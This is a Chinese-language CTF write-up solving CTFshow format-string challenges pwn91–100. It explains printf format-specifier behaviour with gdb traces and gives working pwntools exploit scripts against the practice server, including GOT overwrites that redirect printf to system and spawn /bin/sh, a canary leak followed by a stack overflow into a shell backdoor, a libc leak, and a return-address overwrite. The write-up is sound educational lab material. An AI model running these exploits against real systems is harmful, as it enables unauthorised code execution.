不是一个难的知识点,前置知识如下:

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/

pwn91

1
2
3
4
5
6
7
8
9
10
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=df654620e103a12dcf3504e8e224f0289943620e, not stripped
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/91/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

这里printf出现了格式化字符串漏洞,我们动调一下:

(0xffffcecc-0xffffceb0)/4 = 7

32位地址是4字节,我们需要补6字节,所以payload = addr + padding_char*2 + b’7$n’

1
2
3
4
5
6
7
8
from pwn import *
context(arch="i386",os="linux",log_level="debug")
p = remote("pwn.challenge.ctf.show",28236)

daniu_addr = 0x804B038
payload = p32(daniu_addr)+b'aa%7$n'
p.sendline(payload)
p.interactive()

pwn92

1
2
3
4
5
6
7
8
9
10
$ checksec pwn 
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/92/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/92$ file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3a3d85efd4fcc2d62c02d12a5c26b2aab55e7d, not stripped

64位,这个程序这里展示了一下如何使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 flagishere()
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Enter your format string: ");
__isoc99_scanf("%9s", format);
printf("The flag is :");
printf(format, s);
return __readfsqword(0x28u) ^ v4;
}

程序把flag读入s,所以直接%s即可

pwn93

知识性的部分从CTFshow-pwn入门-格式化字符串(pwn91~100)WP_ctfshow pwn100-CSDN博客转载

这道题一定要花费大量的时间去调试,理解格式化字符串的原理

checksec

64 位小端序,保护全开,ida 反编译

给了很多演示,我们逐个来分析一下,来深入理解一下

func1

在 64 位程序 函数调用 约定中,参数分别放在 rdi、rsi、rdx、rcx、r8、r9 寄存器上,多余的压在栈上

这里lea(Load Effective Address)将字符串%s%s%s%s%s%s...的地址加载到 rdi(第一个参数)

call _printf:调用 printf函数,打印格式化字符串

这里有一堆%s但是没有足够的参数,这导致printf会从寄存器和栈上中读取无效地址,导致崩溃

崩溃发生在 strlen函数内部(__strlen_avx2是 glibc 的优化版 strlen),strlen被调用是因为 printf遇到 %s时,会尝试读取栈上的一个地址并计算其长度,当 printf尝试用这些无效地址调用 strlen时,触发 Segmentation Fault

func2

  • %08x:以 8 位十六进制 输出 a2,不足 8 位时左侧补 0
  • %07x:以 7 位十六进制 输出 a3,不足 7 位时左侧补 0
  • %p:以 指针格式 输出 a4, a5, a6(和 %x类似,但更明确表示是指针)

gdb 调试看详细信息

gdb pwn进入调试

b func2打断点

r运行

输入 2

n步进至 printf 函数处

此时寄存器的值就是这样

寄存器 占位符 参数值 格式化输出
RSI %08x 0x0 00000000
RDX %07x 0xfffffffffffff7f2 实际只取低32位: fffff7f2
RCX %p 0x0 (nil)
0x0
R9 %p 0xa 0xa
R9 %p 0x0 (nil)
0x0

func3

这个以%p输出了很多,gdb 调试

输出完寄存器上的还有栈上的

func4

%n 已经讲了很多次了

%0134512640d输出一个整数 1,宽度为 134512640字符,不足部分用 0填充

也就是往v1处写入134512640

看会汇编代码

virbp-0xc

我们进 gdb 调试,用x/bx $rbp=0xc看初始值

运行到 printf 再看 v1 的值

被写入0x00,这个结果是对的,因为:

134512640,十六进制即 0x08080800

v1是 char类型(1字节),仅保留最低 8 位:0x08080800 & 0xFF = 0x00

func5

可以自行在 gdb 中调试测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
printf("%s %hhn\n", (const char *)v3, &v1);
# %hhn:向 &v1 写入已输出字符数的低1字节(char类型)
# "Hello CTFshow" + 格式字符串 = 14字节 → 写入 v1 的第1字节为 14(0x0E)

printf("%s %hn\n", (const char *)v3, (__int64 *)((char *)&v1 + 1));
# %hn:向 &v1+1 写入已输出字符数的低2字节(short类型)
# 总长度14 → 写入 v1 的第2-3字节为 0x000E

printf("%s %n\n", (const char *)v3, (__int64 *)((char *)&v1 + 3));
# %n:向 &v1+3 写入已输出字符数的4字节(int类型)
# 总长度14 → 写入 v1 的第4-7字节为 0x0000000E

printf("%s %ln\n", (const char *)v3, (__int64 *)((char *)&v1 + 7));
# %ln:向 &v1+7 写入已输出字符数的8字节(long类型)
# 总长度14 → 写入 v1 的第8字节为 0x0E

printf("%s %lln\n", (const char *)v3, &v2);
# %lln:向 &v2 写入已输出字符数的8字节(long long类型)
# 总长度14 → 写入 v2 的8字节为 0x000000000000000E

v1 原始值:[??][??][??][??][??][??][??][??]
操作后值:
1. %hhn → [0E][??][??][??][??][??][??][??]
2. %hn → [0E][00][0E][??][??][??][??][??]
3. %n → [0E][00][0E][00][00][00][0E][??]
4. %ln → [0E][00][0E][00][00][00][0E][0E]
5. %lln → v2 = [00][00][00][00][00][00][00][0E]

(gdb) x/gx $rbp-0x2f # 查看v1的最终8字节值
(gdb) x/gx $rbp-0x20 # 查看v2的值

exit0

这里直接打印出来 flag,nc 连接,输入7

flag 不是目标,完全理解上面所讲的东西才算学到了。

pwn94

1
2
3
4
5
6
7
8
9
10
11
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/94/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bcb88fed6762e2c44cc513733ce0c7a7c96abd06, with debug_info, not strippe

32位,Partial RELRO,直接改got表,这里引入fmtstr_payload函数:

1
2
3
4
5
6
7
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}

因为这里重复执行,把printf函数替换为system即可,不需要再用libc算基地址什么的了,先调试偏移量:

1
2
aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa.0xff9c5478.0x64.0x80486e5.0xef7ed620.0x10.0x61616161.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

offset = 6,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\94\pwn")
context(arch="i386",os="linux",log_level="debug")
p = remote("pwn.challenge.ctf.show",28165)

offset = 6
printaddr = elf.got['printf']
system_addr = elf.plt['system']
payload1 = fmtstr_payload(offset, {printaddr: system_addr})
p.sendline(payload1)
p.sendline(b'/bin/sh')
p.interactive()

pwn95

1
2
3
4
5
6
7
8
9
10
11
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/95/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd41521e7b984eec9931d9f1e6f8783abceaf0a9, with debug_info, not stripped

和上一题基本上一样,只不过说程序不自带system了,所以我们用libc来做。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(arch="i386",os="linux",log_level="debug")
# elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\pwn")
elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/95/pwn")
# libc = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\libc.so.6")
p = remote("pwn.challenge.ctf.show",28137)
# p = process(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\pwn")

offset = 6
printaddr = elf.got['printf']
payload1 = p32(printaddr)+b'%6$s'
p.sendline(payload1)
leak_addr = u32(p.recvuntil(b'\xf7')[-4:])
print(hex(leak_addr))

libc = LibcSearcher('printf',leak_addr)
libc_base = leak_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset, {printaddr: system_addr})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

pwn96

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/96/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/96$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=62eaae1a0398ccca1013a958794c3f63da19cd1e, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char argv, const char envp)
{
char s_1[64]; // [esp+0h] [ebp-90h] BYREF
char s[64]; // [esp+40h] [ebp-50h] BYREF
FILE *stream; // [esp+80h] [ebp-10h]
char *s_2; // [esp+84h] [ebp-Ch]
int *p_argc; // [esp+88h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
s_2 = s_1;
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts(asc_8048830);
puts(asc_80488A4);
puts(asc_8048920);
puts(asc_80489AC);
puts(asc_8048A3C);
puts(asc_8048AC0);
puts(asc_8048B54);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Flag on the stack! ");
puts(" * ************************************* ");
puts("It's time to learn about format strings!");
puts("Where is the flag?");
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s_1, 64, stream);
while ( 1 )
{
printf("$ ");
fgets(s, 64, stdin);
printf(s);
}
}

s距离s_1是0x30个字节,可以打印12“地址”(本质把flag用地址形式打印出来罢了),把地址后面的12个地址形式的flag编码回去即可:

1
2
3
4
5
6
7
8
from pwn import *
str = b'0x73667463.0x7b776f68.0x30666435.0x38316137.0x3039632d.0x38342d65.0x612d3763.0x2d363765.0x61376162.0x36356638.0x64393234.0xa7d'.split(b'.')
print(str)
list = []
for i in str:
list.append(eval(i))
for i in list:
print(p32(i).decode(),end='')
1
2
[b'0x73667463', b'0x7b776f68', b'0x30666435', b'0x38316137', b'0x3039632d', b'0x38342d65', b'0x612d3763', b'0x2d363765', b'0x61376162', b'0x36356638', b'0x64393234', b'0xa7d']
ctfshow{5df07a18-c90e-48c7-ae76-ba7a8f56429d}

pwn97

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char argv, const char envp)
{
char s[64]; // [esp+10h] [ebp-4Ch] BYREF
unsigned int v5; // [esp+50h] [ebp-Ch]
int *p_argc; // [esp+54h] [ebp-8h]

p_argc = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts(asc_8048A64);
puts(asc_8048AD8);
puts(asc_8048B54);
puts(asc_8048BE0);
puts(asc_8048C70);
puts(asc_8048CF4);
puts(asc_8048D88);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Find a way to elevate your privileges! ");
puts(" * ************************************* ");
puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
putchar(36);
fgets(s, 64, stdin);
if ( strstr(s, "shutdown") )
{
puts("See you~");
exit(1);
}
if ( !strstr(s, "cat /ctfshow_flag") )
{
puts("Here you are:\n");
printf(s);
}
get_flag();
return 0;
}
1
2
3
4
5
6
7
int get_flag()
{
if ( !check )
return puts("Permission denied.");
puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
return flag();
}

第11个字符

1
2
3
4
5
6
7
8
9
from pwn import *
elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/97/pwn")
context(arch="i386",os="linux",log_level="debug")

p = remote("pwn.challenge.ctf.show",28251)
check_addr = 0x804B040
payload = p32(check_addr)+b'a%11$n'
p.sendlineafter(b'shutdown\')',payload)
p.interactive()

pwn98

Canary?有没有办法绕过呢?

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/98/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=10fb496d1ade2fd653aa125e4215f3f7fb39062d, not stripped
1
2
3
4
5
6
7
8
9
10
11
unsigned int ctfshow()
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
gets(s);
printf(s);
gets(s);
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
int _stack_check()
{
puts("you_find_me_but_I_have_canary_protect_me!");
return system("/bin/sh");
}

这里的v2就是canary,这里是先get再打印,再get。所以可以先打印v2的值之后再利用栈溢出把返回地址转到_stack_check()函数的位置。canary的形式如下:

我们来看一下栈布局:

所以是第5个参数指向s的起始地址

canary就是就是var_C,5+(0x34-0xC)/4 = 15,所以canary是第15个参数:

payload = padding+canary+padding+backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/98/pwn")
context(arch="i386",os="linux",log_level="debug")

p = remote("pwn.challenge.ctf.show",28237)
check_addr = 0x80486CE
p.sendline(b'%15$p')
v2=eval(p.recv()[-10:])
# print(v2)
# print(type(v2))

payload2 = 0x28 * b'a' + p32(v2) + 0xC * b'a' + p32(check_addr)
p.sendline(payload2)
p.interactive()

0x34-0xc = 0x28(s到v2的距离)0x34+0x4-0x28-4 = 0xC(这是第二个padding的距离)

pwn99

fmt盲打

第6个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(os='linux', arch='amd64', log_level='error')

HOST = 'pwn.challenge.ctf.show'
PORT = 28177

def hex_to_le_ascii(hex_str):
if not hex_str.startswith('0x'):
return ''

try:
val = int(hex_str, 16)
raw = p64(val) # 64位小端
vis = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in raw)
return vis
except:
return ''

for i in range(1, 101):
try:
io = remote(HOST, PORT)
io.recv(timeout=0.5)

payload = f'%{i}$p'.encode()
io.sendline(payload)

data = io.recvall(timeout=1).decode(errors='ignore').strip()
io.close()

line = data.splitlines()[-2] if 'お前も舞うか?' in data and len(data.splitlines()) >= 2 else data.splitlines()[-1]
line = line.strip()

if line.startswith('0x'):
ascii_part = hex_to_le_ascii(line)
print(f'[{i:03d}] {line:<18} -> {ascii_part}')
else:
print(f'[{i:03d}] {line}')

except Exception as e:
print(f'[{i:03d}] ERROR: {e}')

把栈上的信息用%p和%s打印出来

pwn100

有些东西好像需要一定条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 把你输入按照时间形式打印
unsigned __int64 whattime()
{
__int64 v1; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h] BYREF
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Hello my bro.");
printf("What time is it :");
_isoc99_scanf("%ld", &v1);
_isoc99_scanf("%ld", &v2);
_isoc99_scanf("%ld", &v3);
printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3);
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
# 打印菜单
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("1. leak");
puts("2. fmt_attack");
puts("3. get_flag");
puts("4. exit");
printf(">>");
return __readfsqword(0x28u) ^ v1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。
int get_int()

{
char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0;
v2 = 0;
read_n(nptr, 15);
return atoi(nptr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 这里出现了格式化字符串漏洞
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(format, 0, 0x30u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40);
printf(format);
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 
unsigned __int64 __fastcall leak(int *a1)
{
void *buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n((char *)&buf, 8);
write(1, buf, 1u);
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# secret和s2比较40字节,相同则返回flag
void __noreturn get_flag()
{
int fd; // [rsp+Ch] [rbp-64h]
char s2[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(s2, 0, 0x50u);
puts("Flag is here ! Come on !!");
read_n(s2, 64);
if ( !strncmp(secret, s2, 0x40u) )
{
close(1);
fd = open("/flag", 0);
read(fd, s2, 0x50u);
printf(s2);
exit(0);
}
puts("No way!");
exit(1);
}

这个时候secret还没有写入;现在来看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall __noreturn main(int argc, const char argv, const char envp)
{
unsigned int int; // eax
int v4; // [rsp+Ch] [rbp-14h] BYREF
_DWORD v5[2]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
initial(argc, argv, envp);
whattime();
v4 = 0;
v5[0] = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
int = get_int();
v5[1] = int;
if ( int != 2 )
break;
fmt_attack(&v4);
}
if ( int > 2 )
break;
if ( int == 1 )
leak(v5);
}
if ( int == 3 )
get_flag();
if ( int == 4 )
{
puts("Bye!");
exit(0);
}
}
}

思路是:利用fmt_attack()替换该函数返回地址值,直接跳转到get_flag()函数中间,然后获取flag;我们先来测一下:

1
2
read_n(format, 40);
printf(format);

结合一下代码,也就是说%8$p是打印的format[0:8]的地址。在fmt_attack函数中,完成一次循环之后a1会被重置成1,这样第二次进入循环就直接退出程序。

1
2
3
4
5
6
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;

所以说我们第一次进入fmt_attack时,需要利用格式化字符串先把a1重置成0之后才能无限循环。前面我们已经知道%8$p是打印的format[0:8]的地址,看一下栈上情况:

a1作为参数传入(rdi),放在了rbp-0x48的位置:

结合栈上的情况可以知道format前一个参数,即%7$p就是a1,所以每次进循环先要写%7$n(a1的值覆盖为0);同理该函数的返回地址的起始地址是0x40+8,隔了9个参数,即%17$p就是返回地址。

调用fmt_attack的返回地址是pie+0x102c

覆盖的返回地址是pie+0xf56

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64', os='linux', log_level='info')
p = remote('pwn.challenge.ctf.show', 28238)

p.sendlineafter(b'What time is it :', b'1 1 1')

p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n.%17$p')
# 获取fmt_attack的返回地址
return_addr = eval(p.recvline()[1:15])
# 获取piebase
elf_base = return_addr - 0x102c
flag_addr = elf_base + 0xF56

p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n.%16$p')
# 获取main_rbp(即fmt_attack栈上的saved_rbp)
main_rbp = eval(p.recvline()[1:15])
# slot_addr就是fmt_attack返回地址
slot_addr = main_rbp - 0x28
# 只用替换低2字节 因为高6字节都一样的
flag_addr = flag_addr & 0xffff

# 把前面的部分填充到0x10之后 slot_addr就刚好是第10个参数
# %n是覆盖对应地址的值
fmt = b'%'+str(flag_addr).encode()+b'c%10$hn'
payload = fmt.ljust(0x10, b'a')+p64(slot_addr)
p.sendlineafter(b'>>', b'2')
p.sendline(payload)

p.interactive()